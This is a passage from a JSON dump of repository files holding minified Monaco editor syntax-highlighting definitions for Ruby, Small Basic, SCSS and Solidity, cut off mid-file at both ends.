#/,{token:\"regexp.escape.control\",next:\"@regexpcomment\"}],[/[()]/,\"@brackets.regexp.escape.control\"],[/@regexpctl/,\"regexp.escape.control\"],[/\\\\$/,\"regexp.escape\"],[/@regexpesc/,\"regexp.escape\"],[/\\\\\\./,\"regexp.invalid\"],[/#/,\"regexp.escape\",\"@interpolated\"]],regexrange:[[/-/,\"regexp.escape.control\"],[/\\^/,\"regexp.invalid\"],[/\\\\$/,\"regexp.escape\"],[/@regexpesc/,\"regexp.escape\"],[/[^\\]]/,\"regexp\"],[/\\]/,\"@brackets.regexp.escape.control\",\"@pop\"]],regexpcomment:[[/[^)]+/,\"comment\"],[/\\)/,{token:\"regexp.escape.control\",next:\"@pop\"}]],pstring:[[/%([qws])\\(/,{token:\"string.$1.delim\",switchTo:\"@qstring.$1.(.)\"}],[/%([qws])\\[/,{token:\"string.$1.delim\",switchTo:\"@qstring.$1.[.]\"}],[/%([qws])\\{/,{token:\"string.$1.delim\",switchTo:\"@qstring.$1.{.}\"}],[/%([qws])</,{token:\"string.$1.delim\",switchTo:\"@qstring.$1.<.>\"}],[/%([qws])(@delim)/,{token:\"string.$1.delim\",switchTo:\"@qstring.$1.$2.$2\"}],[/%r\\(/,{token:\"regexp.delim\",switchTo:\"@pregexp.(.)\"}],[/%r\\[/,{token:\"regexp.delim\",switchTo:\"@pregexp.[.]\"}],[/%r\\{/,{token:\"regexp.delim\",switchTo:\"@pregexp.{.}\"}],[/%r</,{token:\"regexp.delim\",switchTo:\"@pregexp.<.>\"}],[/%r(@delim)/,{token:\"regexp.delim\",switchTo:\"@pregexp.$1.$1\"}],[/%(x|W|Q?)\\(/,{token:\"string.$1.delim\",switchTo:\"@qqstring.$1.(.)\"}],[/%(x|W|Q?)\\[/,{token:\"string.$1.delim\",switchTo:\"@qqstring.$1.[.]\"}],[/%(x|W|Q?)\\{/,{token:\"string.$1.delim\",switchTo:\"@qqstring.$1.{.}\"}],[/%(x|W|Q?)</,{token:\"string.$1.delim\",switchTo:\"@qqstring.$1.<.>\"}],[/%(x|W|Q?)(@delim)/,{token:\"string.$1.delim\",switchTo:\"@qqstring.$1.$2.$2\"}],[/%([rqwsxW]|Q?)./,{token:\"invalid\",next:\"@pop\"}],[/./,{token:\"invalid\",next:\"@pop\"}]],qstring:[[/\\\\$/,\"string.$S2.escape\"],[/\\\\./,\"string.$S2.escape\"],[/./,{cases:{\"$#==$S4\":{token:\"string.$S2.delim\",next:\"@pop\"},\"$#==$S3\":{token:\"string.$S2.delim\",next:\"@push\"},\"@default\":\"string.$S2\"}}]],qqstring:[[/#/,\"string.$S2.escape\",\"@interpolated\"],{include:\"@qstring\"}],whitespace:[[/[ \\t\\r\\n]+/,\"\"],[/^\\s*=begin\\b/,\"comment\",\"@comment\"],[/#.*$/,\"comment\"]],comment:[[/[^=]+/,\"comment\"],[/^\\s*=begin\\b/,\"comment.invalid\"],[/^\\s*=end\\b.*/,\"comment\",\"@pop\"],[/[=]/,\"comment\"]]}}});"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/vs/basic-languages/src/sb.js",
    "content": "/*!-----------------------------------------------------------------------------\n * Copyright (c) Microsoft Corporation. All rights reserved.\n * monaco-languages version: 0.9.0(e162b4ba29044167bc7181c42b3270fa8a467424)\n * Released under the MIT license\n * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md\n *-----------------------------------------------------------------------------*/\ndefine(\"vs/basic-languages/src/sb\",[\"require\",\"exports\"],function(e,o){\"use strict\";Object.defineProperty(o,\"__esModule\",{value:!0}),o.conf={comments:{lineComment:\"'\"},brackets:[[\"(\",\")\"],[\"[\",\"]\"],[\"If\",\"EndIf\"],[\"While\",\"EndWhile\"],[\"For\",\"EndFor\"],[\"Sub\",\"EndSub\"]],autoClosingPairs:[{open:'\"',close:'\"',notIn:[\"string\",\"comment\"]},{open:\"(\",close:\")\",notIn:[\"string\",\"comment\"]},{open:\"[\",close:\"]\",notIn:[\"string\",\"comment\"]}]},o.language={defaultToken:\"\",tokenPostfix:\".sb\",ignoreCase:!0,brackets:[{token:\"delimiter.array\",open:\"[\",close:\"]\"},{token:\"delimiter.parenthesis\",open:\"(\",close:\")\"},{token:\"keyword.tag-if\",open:\"If\",close:\"EndIf\"},{token:\"keyword.tag-while\",open:\"While\",close:\"EndWhile\"},{token:\"keyword.tag-for\",open:\"For\",close:\"EndFor\"},{token:\"keyword.tag-sub\",open:\"Sub\",close:\"EndSub\"}],keywords:[\"Else\",\"ElseIf\",\"EndFor\",\"EndIf\",\"EndSub\",\"EndWhile\",\"For\",\"Goto\",\"If\",\"Step\",\"Sub\",\"Then\",\"To\",\"While\"],tagwords:[\"If\",\"Sub\",\"While\",\"For\"],operators:[\">\",\"<\",\"<>\",\"<=\",\">=\",\"And\",\"Or\",\"+\",\"-\",\"*\",\"/\",\"=\"],identifier:/[a-zA-Z_][\\w]*/,symbols:/[=><:+\\-*\\/%\\.,]+/,escapes:/\\\\(?:[abfnrtv\\\\\"']|x[0-9A-Fa-f]{1,4}|u[0-9A-Fa-f]{4}|U[0-9A-Fa-f]{8})/,tokenizer:{root:[{include:\"@whitespace\"},[/(@identifier)(?=[.])/,\"type\"],[/@identifier/,{cases:{\"@keywords\":{token:\"keyword.$0\"},\"@operators\":\"operator\",\"@default\":\"variable.name\"}}],[/([.])(@identifier)/,{cases:{$2:[\"delimiter\",\"type.member\"],\"@default\":\"\"}}],[/\\d*\\.\\d+/,\"number.float\"],[/\\d+/,\"number\"],[/[()\\[\\]]/,\"@brackets\"],[/@symbols/,{cases:{\"@operators\":\"operator\",\"@default\":\"delimiter\"}}],[/\"([^\"\\\\]|\\\\.)*$/,\"string.invalid\"],[/\"/,\"string\",\"@string\"]],whitespace:[[/[ \\t\\r\\n]+/,\"\"],[/(\\').*$/,\"comment\"]],string:[[/[^\\\\\"]+/,\"string\"],[/@escapes/,\"string.escape\"],[/\\\\./,\"string.escape.invalid\"],[/\"C?/,\"string\",\"@pop\"]]}}});"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/vs/basic-languages/src/scss.js",
    "content": "/*!-----------------------------------------------------------------------------\n * Copyright (c) Microsoft Corporation. All rights reserved.\n * monaco-languages version: 0.9.0(e162b4ba29044167bc7181c42b3270fa8a467424)\n * Released under the MIT license\n * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md\n *-----------------------------------------------------------------------------*/\ndefine(\"vs/basic-languages/src/scss\",[\"require\",\"exports\"],function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.conf={wordPattern:/(#?-?\\d*\\.\\d\\w*%?)|([@$#!.:]?[\\w-?]+%?)|[@#!.]/g,comments:{blockComment:[\"/*\",\"*/\"],lineComment:\"//\"},brackets:[[\"{\",\"}\"],[\"[\",\"]\"],[\"(\",\")\"]],autoClosingPairs:[{open:\"{\",close:\"}\",notIn:[\"string\",\"comment\"]},{open:\"[\",close:\"]\",notIn:[\"string\",\"comment\"]},{open:\"(\",close:\")\",notIn:[\"string\",\"comment\"]},{open:'\"',close:'\"',notIn:[\"string\",\"comment\"]},{open:\"'\",close:\"'\",notIn:[\"string\",\"comment\"]}],surroundingPairs:[{open:\"{\",close:\"}\"},{open:\"[\",close:\"]\"},{open:\"(\",close:\")\"},{open:'\"',close:'\"'},{open:\"'\",close:\"'\"}]},t.language={defaultToken:\"\",tokenPostfix:\".scss\",ws:\"[ \\t\\n\\r\\f]*\",identifier:\"-?-?([a-zA-Z]|(\\\\\\\\(([0-9a-fA-F]{1,6}\\\\s?)|[^[0-9a-fA-F])))([\\\\w\\\\-]|(\\\\\\\\(([0-9a-fA-F]{1,6}\\\\s?)|[^[0-9a-fA-F])))*\",brackets:[{open:\"{\",close:\"}\",token:\"delimiter.curly\"},{open:\"[\",close:\"]\",token:\"delimiter.bracket\"},{open:\"(\",close:\")\",token:\"delimiter.parenthesis\"},{open:\"<\",close:\">\",token:\"delimiter.angle\"}],tokenizer:{root:[{include:\"@selector\"}],selector:[{include:\"@comments\"},{include:\"@import\"},{include:\"@variabledeclaration\"},{include:\"@warndebug\"},[\"[@](include)\",{token:\"keyword\",next:\"@includedeclaration\"}],[\"[@](keyframes|-webkit-keyframes|-moz-keyframes|-o-keyframes)\",{token:\"keyword\",next:\"@keyframedeclaration\"}],[\"[@](page|content|font-face|-moz-document)\",{token:\"keyword\"}],[\"[@](charset|namespace)\",{token:\"keyword\",next:\"@declarationbody\"}],[\"[@](function)\",{token:\"keyword\",next:\"@functiondeclaration\"}],[\"[@](mixin)\",{token:\"keyword\",next:\"@mixindeclaration\"}],[\"url(\\\\-prefix)?\\\\(\",{token:\"meta\",next:\"@urldeclaration\"}],{include:\"@controlstatement\"},{include:\"@selectorname\"},[\"[&\\\\*]\",\"tag\"],[\"[>\\\\+,]\",\"delimiter\"],[\"\\\\[\",{token:\"delimiter.bracket\",next:\"@selectorattribute\"}],[\"{\",{token:\"delimiter.curly\",next:\"@selectorbody\"}]],selectorbody:[[\"[*_]?@identifier@ws:(?=(\\\\s|\\\\d|[^{;}]*[;}]))\",\"attribute.name\",\"@rulevalue\"],{include:\"@selector\"},[\"[@](extend)\",{token:\"keyword\",next:\"@extendbody\"}],[\"[@](return)\",{token:\"keyword\",next:\"@declarationbody\"}],[\"}\",{token:\"delimiter.curly\",next:\"@pop\"}]],selectorname:[[\"#{\",{token:\"meta\",next:\"@variableinterpolation\"}],[\"(\\\\.|#(?=[^{])|%|(@identifier)|:)+\",\"tag\"]],selectorattribute:[{include:\"@term\"},[\"]\",{token:\"delimiter.bracket\",next:\"@pop\"}]],term:[{include:\"@comments\"},[\"url(\\\\-prefix)?\\\\(\",{token:\"meta\",next:\"@urldeclaration\"}],{include:\"@functioninvocation\"},{include:\"@numbers\"},{include:\"@strings\"},{include:\"@variablereference\"},[\"(and\\\\b|or\\\\b|not\\\\b)\",\"operator\"],{include:\"@name\"},[\"([<>=\\\\+\\\\-\\\\*\\\\/\\\\^\\\\|\\\\~,])\",\"operator\"],[\",\",\"delimiter\"],[\"!default\",\"literal\"],[\"\\\\(\",{token:\"delimiter.parenthesis\",next:\"@parenthizedterm\"}]],rulevalue:[{include:\"@term\"},[\"!important\",\"literal\"],[\";\",\"delimiter\",\"@pop\"],[\"{\",{token:\"delimiter.curly\",switchTo:\"@nestedproperty\"}],[\"(?=})\",{token:\"\",next:\"@pop\"}]],nestedproperty:[[\"[*_]?@identifier@ws:\",\"attribute.name\",\"@rulevalue\"],{include:\"@comments\"},[\"}\",{token:\"delimiter.curly\",next:\"@pop\"}]],warndebug:[[\"[@](warn|debug)\",{token:\"keyword\",next:\"@declarationbody\"}]],import:[[\"[@](import)\",{token:\"keyword\",next:\"@declarationbody\"}]],variabledeclaration:[[\"\\\\$@identifier@ws:\",\"variable.decl\",\"@declarationbody\"]],urldeclaration:[{include:\"@strings\"},[\"[^)\\r\\n]+\",\"string\"],[\"\\\\)\",{token:\"meta\",next:\"@pop\"}]],parenthizedterm:[{include:\"@term\"},[\"\\\\)\",{token:\"delimiter.parenthesis\",next:\"@pop\"}]],declarationbody:[{include:\"@term\"},[\";\",\"delimiter\",\"@pop\"],[\"(?=})\",{token:\"\",next:\"@pop\"}]],extendbody:[{include:\"@selectorname\"},[\"!optional\",\"literal\"],[\";\",\"delimiter\",\"@pop\"],[\"(?=})\",{token:\"\",next:\"@pop\"}]],variablereference:[[\"\\\\$@identifier\",\"variable.ref\"],[\"\\\\.\\\\.\\\\.\",\"operator\"],[\"#{\",{token:\"meta\",next:\"@variableinterpolation\"}]],variableinterpolation:[{include:\"@variablereference\"},[\"}\",{token:\"meta\",next:\"@pop\"}]],comments:[[\"\\\\/\\\\*\",\"comment\",\"@comment\"],[\"\\\\/\\\\/+.*\",\"comment\"]],comment:[[\"\\\\*\\\\/\",\"comment\",\"@pop\"],[\".\",\"comment\"]],name:[[\"@identifier\",\"attribute.value\"]],numbers:[[\"(\\\\d*\\\\.)?\\\\d+([eE][\\\\-+]?\\\\d+)?\",{token:\"number\",next:\"@units\"}],[\"#[0-9a-fA-F_]+(?!\\\\w)\",\"number.hex\"]],units:[[\"(em|ex|ch|rem|vmin|vmax|vw|vh|vm|cm|mm|in|px|pt|pc|deg|grad|rad|turn|s|ms|Hz|kHz|%)?\",\"number\",\"@pop\"]],functiondeclaration:[[\"@identifier@ws\\\\(\",{token:\"meta\",next:\"@parameterdeclaration\"}],[\"{\",{token:\"delimiter.curly\",switchTo:\"@functionbody\"}]],mixindeclaration:[[\"@identifier@ws\\\\(\",{token:\"meta\",next:\"@parameterdeclaration\"}],[\"@identifier\",\"meta\"],[\"{\",{token:\"delimiter.curly\",switchTo:\"@selectorbody\"}]],parameterdeclaration:[[\"\\\\$@identifier@ws:\",\"variable.decl\"],[\"\\\\.\\\\.\\\\.\",\"operator\"],[\",\",\"delimiter\"],{include:\"@term\"},[\"\\\\)\",{token:\"meta\",next:\"@pop\"}]],includedeclaration:[{include:\"@functioninvocation\"},[\"@identifier\",\"meta\"],[\";\",\"delimiter\",\"@pop\"],[\"(?=})\",{token:\"\",next:\"@pop\"}],[\"{\",{token:\"delimiter.curly\",switchTo:\"@selectorbody\"}]],keyframedeclaration:[[\"@identifier\",\"meta\"],[\"{\",{token:\"delimiter.curly\",switchTo:\"@keyframebody\"}]],keyframebody:[{include:\"@term\"},[\"{\",{token:\"delimiter.curly\",next:\"@selectorbody\"}],[\"}\",{token:\"delimiter.curly\",next:\"@pop\"}]],controlstatement:[[\"[@](if|else|for|while|each|media)\",{token:\"keyword.flow\",next:\"@controlstatementdeclaration\"}]],controlstatementdeclaration:[[\"(in|from|through|if|to)\\\\b\",{token:\"keyword.flow\"}],{include:\"@term\"},[\"{\",{token:\"delimiter.curly\",switchTo:\"@selectorbody\"}]],functionbody:[[\"[@](return)\",{token:\"keyword\"}],{include:\"@variabledeclaration\"},{include:\"@term\"},{include:\"@controlstatement\"},[\";\",\"delimiter\"],[\"}\",{token:\"delimiter.curly\",next:\"@pop\"}]],functioninvocation:[[\"@identifier\\\\(\",{token:\"meta\",next:\"@functionarguments\"}]],functionarguments:[[\"\\\\$@identifier@ws:\",\"attribute.name\"],[\"[,]\",\"delimiter\"],{include:\"@term\"},[\"\\\\)\",{token:\"meta\",next:\"@pop\"}]],strings:[['~?\"',{token:\"string.delimiter\",next:\"@stringenddoublequote\"}],[\"~?'\",{token:\"string.delimiter\",next:\"@stringendquote\"}]],stringenddoublequote:[[\"\\\\\\\\.\",\"string\"],['\"',{token:\"string.delimiter\",next:\"@pop\"}],[\".\",\"string\"]],stringendquote:[[\"\\\\\\\\.\",\"string\"],[\"'\",{token:\"string.delimiter\",next:\"@pop\"}],[\".\",\"string\"]]}}});"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/vs/basic-languages/src/solidity.js",
    "content": "/*!-----------------------------------------------------------------------------\n * Copyright (c) Microsoft Corporation. All rights reserved.\n * monaco-languages version: 0.9.0(e162b4ba29044167bc7181c42b3270fa8a467424)\n * Released under the MIT license\n * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md\n *-----------------------------------------------------------------------------*/\ndefine(\"vs/basic-languages/src/solidity\",[\"require\",\"exports\"],function(x,e){\"use strict\";Object.defineProperty(e,\"__esModule\",{value:!0}),e.conf={comments:{lineComment:\"//\",blockComment:[\"/*\",\"*/\"]},brackets:[[\"{\",\"}\"],[\"[\",\"]\"],[\"(\",\")\"],[\"<\",\">\"]],autoClosingPairs:[{open:'\"',close:'\"',notIn:[\"string\",\"comment\"]},{open:\"{\",close:\"}\",notIn:[\"string\",\"comment\"]},{open:\"[\",close:\"]\",notIn:[\"string\",\"comment\"]},{open:\"(\",close:\")\",notIn:[\"string\",\"comment\"]}]},e.language={defaultToken:\"\",tokenPostfix:\".sol\",brackets:[{token:\"delimiter.curly\",open:\"{\",close:\"}\"},{token:\"delimiter.parenthesis\",open:\"(\",close:\")\"},{token:\"delimiter.square\",open:\"[\",close:\"]\"},{token:\"delimiter.angle\",open:\"<\",close:\">\"}],keywords:[\"pragma\",\"solidity\",\"contract\",\"library\",\"using\",\"struct\",\"function\",\"modifier\",\"address\",\"string\",\"bool\",\"Int\",\"Uint\",\"Byte\",\"Fixed\",\"Ufixed\",\"int\",\"int8\",\"int16\",\"int24\",\"int32\",\"int40\",\"int48\",\"int56\",\"int64\",\"int72\",\"int80\",\"int88\",\"int96\",\"int104\",\"int112\",\"int120\",\"int128\",\"int136\",\"int144\",\"int152\",\"int160\",\"int168\",\"int176\",\"int184\",\"int192\",\"int200\",\"int208\",\"int216\",\"int224\",\"int232\",\"int240\",\"int248\",\"int256\",\"uint\",\"uint8\",\"uint16\",\"uint24\",\"uint32\",\"uint40\",\"uint48\",\"uint56\",\"uint64\",\"uint72\",\"uint80\",\"uint88\",\"uint96\",\"uint104\",\"uint112\",\"uint120\",\"uint128\",\"uint136\",\"uint144\",\"uint152\",\"uint160\",\"uint168\",\"uint176\",\"uint184\",\"uint192\",\"uint200\",\"uint208\",\"uint216\",\"uint224\",\"uint232\",\"uint240\",\"uint248\",\"uint256\",\"byte\",\"bytes\",\"bytes1\",\"bytes2\",\"bytes3\",\"bytes4\",\"bytes5\",\"bytes6\",\"bytes7\",\"bytes8\",\"bytes9\",\"bytes10\",\"bytes11\",\"bytes12\",\"bytes13\",\"bytes14\",\"bytes15\",\"bytes16\",\"bytes17\",\"bytes18\",\"bytes19\",\"bytes20\",\"bytes21\",\"bytes22\",\"bytes23\",\"bytes24\",\"bytes25\",\"bytes26\",\"bytes27\",\"bytes28\",\"bytes29\",\"bytes30\",\"bytes31\",\"bytes32\",\"fixed\",\"fixed0x8\",\"fixed0x16\",\"fixed0x24\",\"fixed0x32\",\"fixed0x40\",\"fixed0x48\",\"fixed0x56\",\"fixed0x64\",\"fixed0x72\",\"fixed0x80\",\"fixed0x88\",\"fixed0x96\",\"fixed0x104\",\"fixed0x112\",\"fixed0x120\",\"fixed0x128\",\"fixed0x136\",\"fixed0x144\",\"fixed0x152\",\"fixed0x160\",\"fixed0x168\",\"fixed0x176\",\"fixed0x184\",\"fixed0x192\",\"fixed0x200\",\"fixed0x208\",\"fixed0x216\",\"fixed0x224\",\"fixed0x232\",\"fixed0x240\",\"fixed0x248\",\"fixed0x256\",\"fixed8x8\",\"fixed8x16\",\"fixed8x24\",\"fixed8x32\",\"fixed8x40\",\"fixed8x48\",\"fixed8x56\",\"fixed8x64\",\"fixed8x72\",\"fixed8x80\",\"fixed8x88\",\"fixed8x96\",\"fixed8x104\",\"fixed8x112\",\"fixed8x120\",\"fixed8x128\",\"fixed8x136\",\"fixed8x144\",\"fixed8x152\",\"fixed8x160\",\"fixed8x168\",\"fixed8x176\",\"fixed8x184\",\"fixed8x192\",\"fixed8x200\",\"fixed8x208\",\"fixed8x216\",\"fixed8x224\",\"fixed8x232\",\"fixed8x240\",\"fixed8x248\",\"fixed16x8\",\"fixed16x16\",\"fixed16x24\",\"fixed16x32\",\"fixed16x40\",\"fixed16x48\",\"fixed16x56\",\"fixed16x64\",\"fixed16x72\",\"fixed16x80\",\"fixed16x88\",\"fixed16x96\",\"fixed16x104\",\"fixed16x112\",\"fixed16x120\",\"fixed16x128\",\"fixed16x136\",\"fixed16x144\",\"fixed16x152\",\"fixed16x160\",\"fixed16x168\",\"fixed16x176\",\"fixed16x184\",\"fixed16x192\",\"fixed16x200\",\"fixed16x208\",\"fixed16x216\",\"fixed16x224\",\"fixed16x232\",\"fixed16x240\",\"fixed24x8\",\"fixed24x16\",\"fixed24x24\",\"fixed24x32\",\"fixed24x40\",\"fixed24x48\",\"fixed24x56\",\"fixed24x64\",\"fixed24x72\",\"fixed24x80\",\"fixed24x88\",\"fixed24x96\",\"fixed24x104\",\"fixed24x112\",\"fixed24x120\",\"fixed24x128\",\"fixed24x136\",\"fixed24x144\",\"fixed24x152\",\"fixed24x160\",\"fixed24x168\",\"fixed24x176\",\"fixed24x184\",\"fixed24x192\",\"fixed24x200\",\"fixed24x208\",\"fixed24x216\",\"fixed24x224\",\"fixed24x232\",\"fixed32x8\",\"fixed32x16\",\"fixed32x24\",\"fixed32x32\",\"fixed32x40\",\"fixed32x48\",\"fixed32x56\",\"fixed32x64\",\"fixed32x72\",\"fixed32x80\",\"fixed32x88\",\"fixed32x96\",\"fixed32x104\",\"fixed32x112\",\"fixed32x120\",\"fixed32x128\",\"fixed32x136\",\"fixed32x144\",\"fixed32x152\",\"fixed32x160\",\"fixed32x168\",\"fixed32x176\",\"fixed32x184\",\"fixed32x192\",\"fixed32x200\",\"fixed32x208\",\"fixed32x216\",\"fixed32x224\",\"fixed40x8\",\"fixed40x16\",\"fixed40x24\",\"fixed40x32\",\"fixed40x40\",\"fixed40x48\",\"fixed40x56\",\"fixed40x64\",\"fixed40x72\",\"fixed40x80\",\"fixed40x88\",\"fixed40x96\",\"fixed40x104\",\"fixed40x112\",\"fixed40x120\",\"fixed40x128\",\"fixed40x136\",\"fixed40x144\",\"fixed40x152\",\"fixed40x160\",\"fixed40x168\",\"fixed40x176\",\"fixed40x184\",\"fixed40x192\",\"fixed40x200\",\"fixed40x208\",\"fixed40x216\",\"fixed48x8\",\"fixed48x16\",\"fixed48x24\",\"fixed48x32\",\"fixed48x40\",\"fixed48x48\",\"fixed48x56\",\"fixed48x64\",\"fixed48x72\",\"fixed48x80\",\"fixed48x88\",\"fixed48x96\",\"fixed48x104\",\"fixed48x112\",\"fixed48x120\",\"fixed48x128\",\"fixed48x136\",\"fixed48x144\",\"fixed48x152\",\"fixed48x160\",\"fixed48x168\",\"fixed48x176\",\"fixed48x184\",\"fixed48x192\",\"fixed48x200\",\"fixed48x208\",\"fixed56x8\",\"fixed56x16\",\"fixed56x24\",\"fixed56x32\",\"fixed56x40\",\"fixed56x48\",\"fixed56x56\",\"fixed56x64\",\"fixed56x72\",\"fixed56x80\",\"fixed56x88\",\"fixed56x96\",\"fixed56x104\",\"fixed56x112\",\"fixed56x120\",\"fixed56x128\",\"fixed56x136\",\"fixed56x144\",\"fixed56x152\",\"fixed56x160\",\"fixed56x168\",\"fixed56x176\",\"fixed56x184\",\"fixed56x192\",\"fixed56x200\",\"fixed64x8\",\"fixed64x16\",\"fixed64x24\",\"fixed64x32\",\"fixed64x40\",\"fixed64x48\",\"fixed64x56\",\"fixed64x64\",\"fixed64x72\",\"fixed64x80\",\"fixed64x88\",\"fixed64x96\",\"fixed64x104\",\"fixed64x112\",\"fixed64x120\",\"fixed64x128\",\"fixed64x136\",\"fixed64x144\",\"fixed64x152\",\"fixed64x160\",\"fixed64x168\",\"fixed64x176\",\"fixed64x184\",\"fixed64x192\",\"fixed72x8\",\"fixed72x16\",\"fixed72x24\",\"fixed72x32\",\"fixed72x40\",\"fixed72x48\",\"fixed72x56\",\"fixed72x64\",\"fixed72x72\",\"fixed72x80\",\"fixed72x88\",\"fixed72x96\",\"fixed72x104\",\"fixed72x112\",\"fixed72x120\",\"fixed72x128\",\"fixed72x136\",\"fixed72x144\",\"fixed72x152\",\"fixed72x160\",\"fixed72x168\",\"fixed72x176\",\"fixed72x184\",\"fixed80x8\",\"fixed80x16\",\"fixed80x24\",\"fixed80x32\",\"fixed80x40\",\"fixed80x48\",\"fixed80x56\",\"fixed80x64\",\"fixed80x72\",\"fixed80x80\",\"fixed80x88\",\"fixed80x96\",\"fixed80x104\",\"fixed80x112\",\"fixed80x120\",\"fixed80x128\",\"fixed80x136\",\"fixed80x144\",\"fixed80x152\",\"fixed80x160\",\"fixed80x168\",\"fixed80x176\",\"fixed88x8\",\"fixed88x16\",\"fixed88x24\",\"fixed88x32\",\"fixed88x40\",\"fixed88x48\",\"fixed88x56\",\"fixed88x64\",\"fixed88x72\",\"fixed88x80\",\"fixed88x88\",\"fixed88x96\",\"fixed88x104\",\"fixed88x112\",\"fixed88x120\",\"fixed88x128\",\"fixed88x136\",\"fixed88x144\",\"fixed88x152\",\"fixed88x160\",\"fixed88x168\",\"fixed96x8\",\"fixed96x16\",\"fixed96x24\",\"fixed96x32\",\"fixed96x40\",\"fixed96x48\",\"fixed96x56\",\"fixed96x64\",\"fixed96x72\",\"fixed96x80\",\"fixed96x88\",\"fixed96x96\",\"fixed96x104\",\"fixed96x112\",\"fixed96x120\",\"fixed96x128\",\"fixed96x136\",\"fixed96x144\",\"fixed96x152\",\"fixed96x160\",\"fixed104x8\",\"fixed104x16\",\"fixed104x24\",\"fixed104x32\",\"fixed104x40\",\"fixed104x48\",\"fixed104x56\",\"fixed104x64\",\"fixed104x72\",\"fixed104x80\",\"fixed104x88\",\"fixed104x96\",\"fixed104x104\",\"fixed104x112\",\"fixed104x120\",\"fixed104x128\",\"fixed104x136\",\"fixed104x144\",\"fixed104x152\",\"fixed112x8\",\"fixed112x16\",\"fixed112x24\",\"fixed112x32\",\"fixed112x40\",\"fixed112x48\",\"fixed112x56\",\"fixed112x64\",\"fixed112x72\",\"fixed112x80\",\"fixed112x88\",\"fixed112x96\",\"fixed112x104\",\"fixed112x112\",\"fixed112x120\",\"fixed112x128\",\"fixed112x136\",\"fixed112x144\",\"fixed120x8\",\"fixed120x16\",\"fixed120x24\",\"fixed120x32\",\"fixed120x40\",\"fixed120x48\",\"fixed120x56\",\"fixed120x64\",\"fixed120x72\",\"fixed120x80\",\"fixed120x88\",\"fixed120x96\",\"fixed120x104\",\"fixed120x112\",\"fixed120x120\",\"fixed120x128\",\"fixed120x136\",\"fixed128x8\",\"fixed128x16\",\"fixed128x24\",\"fixed128x32\",\"fixed128x40\",\"fixed128x48\",\"fixed128x56\",\"fixed128x64\",\"fixed128x72\",\"fixed128x80\",\"fixed128x88\",\"fixed128x96\",\"fixed128x104\",\"fixed128x112\",\"fixed128x120\",\"fixed128x128\",\"fixed136x8\",\"fixed136x16\",\"fixed136x24\",\"fixed136x32\",\"fixed136x40\",\"fixed136x48\",\"fixed136x56\",\"fixed136x64\",\"fixed136x72\",\"fixed136x80\",\"fixed136x88\",\"fixed136x96\",\"fixed136x104\",\"fixed136x112\",\"fixed136x120\",\"fixed144x8\",\"fixed144x16\",\"fixed144x24\",\"fixed144x32\",\"fixed144x40\",\"fixed144x48\",\"fixed144x56\",\"fixed144x64\",\"fixed144x72\",\"fixed144x80\",\"fixed144x88\",\"fixed144x96\",\"fixed144x104\",\"fixed144x112\",\"fixed152x8\",\"fixed152x16\",\"fixed152x24\",\"fixed152x32\",\"fixed152x40\",\"fixed152x48\",\"fixed152x56\",\"fixed152x64\",\"fixed152x72\",\"fixed152x80\",\"fixed152x88\",\"fixed152x96\",\"fixed152x104\",\"fixed160x8\",\"fixed160x16\",\"fixed160x24\",\"fixed160x32\",\"fixed160x40\",\"fixed160x48\",\"fixed160x56\",\"fixed160x64\",\"fixed160x72\",\"fixed160x80\",\"fixed160x88\",\"fixed160x96\",\"fixed168x8\",\"fixed168x16\",\"fixed168x24\",\"fixed168x32\",\"fixed168x40\",\"fixed168x48\",\"fixed168x56\",\"fixed168x64\",\"fixed168x72\",\"fixed168x80\",\"fixed168x88\",\"fixed176x8\",\"fixed176x16\",\"fixed176x24\",\"fixed176x32\",\"fixed176x40\",\"fixed176x48\",\"fixed176x56\",\"fixed176x64\",\"fixed176x72\",\"fixed176x80\",\"fixed184x8\",\"fixed184x16\",\"fixed184x24\",\"fixed184x32\",\"fixed184x40\",\"fixed184x48\",\"fixed184x56\",\"fixed184x64\",\"fixed184x72\",\"fixed192x8\",\"fixed192x16\",\"fixed192x24\",\"fixed192x32\",\"fixed192x40\",\"fixed192x48\",\"fixed192x56\",\"fixed192x64\",\"fixed200x8\",\"fixed200x16\",\"fixed200x24\",\"fixed200x32\",\"fixed200x40\",\"fixed200x48\",\"fixed200x56\",\"fixed208x8\",\"fixed208x16\",\"fixed208x24\",\"fixed208x32\",\"fixed208x40\",\"fixed208x48\",\"fixed216x8\",\"fixed216x16\",\"fixed216x24\",\"fixed216x32\",\"fixed216x40\",\"fixed224x8\",\"fixed224x16\",\"fixed224x24\",\"fixed224x32\",\"fixed232x8\",\"fixed232x16\",\"fixed232x24\",\"fixed240x8\",\"fixed240x16\",\"fixed248x8\",\"ufixed\",\"ufixed0x8\",\"ufixed0x16\",\"ufixed0x24\",\"ufixed0x32\",\"ufixed0x40\",\"ufixed0x48\",\"ufixed0x56\",\"ufixed0x64\",\"ufixed0x72\",\"ufixed0x80\",\"ufixed0x88\",\"ufixed0x96\",\"ufixed0x104\",\"ufixed0x112\",\"ufixed0x120\",\"ufixed0x128\",\"ufixed0x136\",\"ufixed0x144\",\"ufixed0x152\",\"ufixed0x160\",\"ufixed0x168\",\"ufixed0x176\",\"ufixed0x184\",\"ufixed0x192\",\"ufixed0x200\",\"ufixed0x208\",\"ufixed0x216\",\"ufixed0x224\",\"ufixed0x232\",\"ufixed0x240\",\"ufixed0x248\",\"ufixed0x256\",\"ufixed8x8\",\"ufixed8x16\",\"ufixed8x24\",\"ufixed8x32\",\"ufixed8x40\",\"ufixed8x48\",\"ufixed8x56\",\"ufixed8x64\",\"ufixed8x72\",\"ufixed8x80\",\"ufixed8x88\",\"ufixed8x96\",\"ufixed8x104\",\"ufixed8x112\",\"ufixed8x120\",\"ufixed8x128\",\"ufixed8x136\",\"ufixed8x144\",\"ufixed8x152\",\"ufixed8x160\",\"ufixed8x168\",\"ufixed8x176\",\"ufixed8x184\",\"ufixed8x192\",\"ufixed8x200\",\"ufixed8x208\",\"ufixed8x216\",\"ufixed8x224\",\"ufixed8x232\",\"ufixed8x240\",\"ufixed8x248\",\"ufixed16x8\",\"ufixed16x16\",\"ufixed16x24\",\"ufixed16x32\",\"ufixed16x40\",\"ufixed16x48\",\"ufixed16x56\",\"ufixed16x64\",\"ufixed16x72\",\"ufixed16x80\",\"ufixed16x88\